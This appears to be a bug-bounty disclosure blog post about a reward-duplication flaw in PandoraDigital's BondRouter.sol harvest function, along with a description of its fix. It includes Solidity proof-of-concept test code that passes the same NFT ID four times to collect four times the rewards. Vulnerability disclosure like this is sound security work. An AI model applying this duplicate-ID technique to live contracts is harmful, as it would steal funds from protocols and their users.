Hi, this is the first post of the Bug Overview Series that was found during my huntings. Hope you enjoy it 🙂
Target: PandoraDigital
Platform: HackenProof
Date: 02/02/2023
About the target
"The first DEX to innovate an inclusive incentive scheme for all users and introduce a gamified system for decentralized finance." - Pandora
Pandora also has an NFT collection called DroidBots which can be used to be staked in their pools to receive some rewards.
Bug Context
After reviewing their smart contracts, I've noticed the following contract in specific: BondRouter.sol. This contract is the door to the protocol itself, allowing the users to stake, harvest and redeem their rewards/NFTs.
The most interesting function for me was the harvest, which receives an array of ClaimInfo in this case, the NFTs of the user, and an address which will receive the rewards as parameters. Digging deeper into the workflow, the _executeHarvest function will deal with the values, do some verifications and will enter into the for loop, that will calculate the reward earned per NFT in calAmount + calInterest functions and will increase the _amountSent variable, which contains the total value earned in this harvest. After ending the loop, the payment will be made in the payment function, and the update of the last harvest time of each NFT ID will also be updated in the updateLastHarvest function.
At this point, I think that you already noticed the problem 😆
The Bug
The vulnerability occurs inside the _executeHarvest function, more precisely on the step to update the last harvest time of each NFT. Instead of updating the time only after the end of for, it need to be updated at the end of each execution, because if an array contains the same NFT Id more than once, the reward amount will be duplicated (as the last harvest time wasn't updated yet).
So, to exploit this vulnerability, an attacker needed to have an Pandora NFT staked, and when calling the harvest function, it was necessary to pass the same NFT Id multiple times inside of the array, for example:
Attacker NFT Id: 666 -> [666,666,666,666,666......]
PoC
PS: Unfortunately I forgot to upload the exploit code to Github and I simply deleted the foundry project 👏😀
However, the image above illustrates the 2 test cases:
testHarvestMoreTokens -> Will call the vulnerable function with an array with the same NFT ID 4x ([666,666,666,666]):
BondStruct.ClaimInfo[] memory claimInfo = new BondStruct.ClaimInfo;
uint256[] memory nftIDs = new uint256;
nftIDs[0] = 666;
nftIDs[1] = 666;
nftIDs[2] = 666;
nftIDs[3] = 666;
BondStruct.ClaimInfo memory claim = BondStruct.ClaimInfo({
batchId: 1,
ids: nftIDs
});
claimInfo[0] = claim;
router.harvest(claimInfo, attacker);
testHarvestOneToken -> Will call with only one NFT ID ([666]):
BondStruct.ClaimInfo[] memory claimInfo = new BondStruct.ClaimInfo;
uint256[] memory nftIDs = new uint256;
nftIDs[0] = 666;
BondStruct.ClaimInfo memory claim = BondStruct.ClaimInfo({
batchId: 1,
ids: nftIDs
});
claimInfo[0] = claim;
router.harvest(claimInfo, attacker);
As we can see, the exploit worked successfully, as the NFT ID 666 had 4 tokens in reward at this harvest time, and after exploited, the attacker received 4x more tokens 🙂
The Fix
The fix for this vulnerability can be found at this commit, where the Pandora Team updated the location of the _updateLastHarvest function to the end of each for execution.
That's all folks, hope you enjoyed this simple bug 😄
If you have any suggestion, please let me know!!!
Thank you
Vitor Fernandes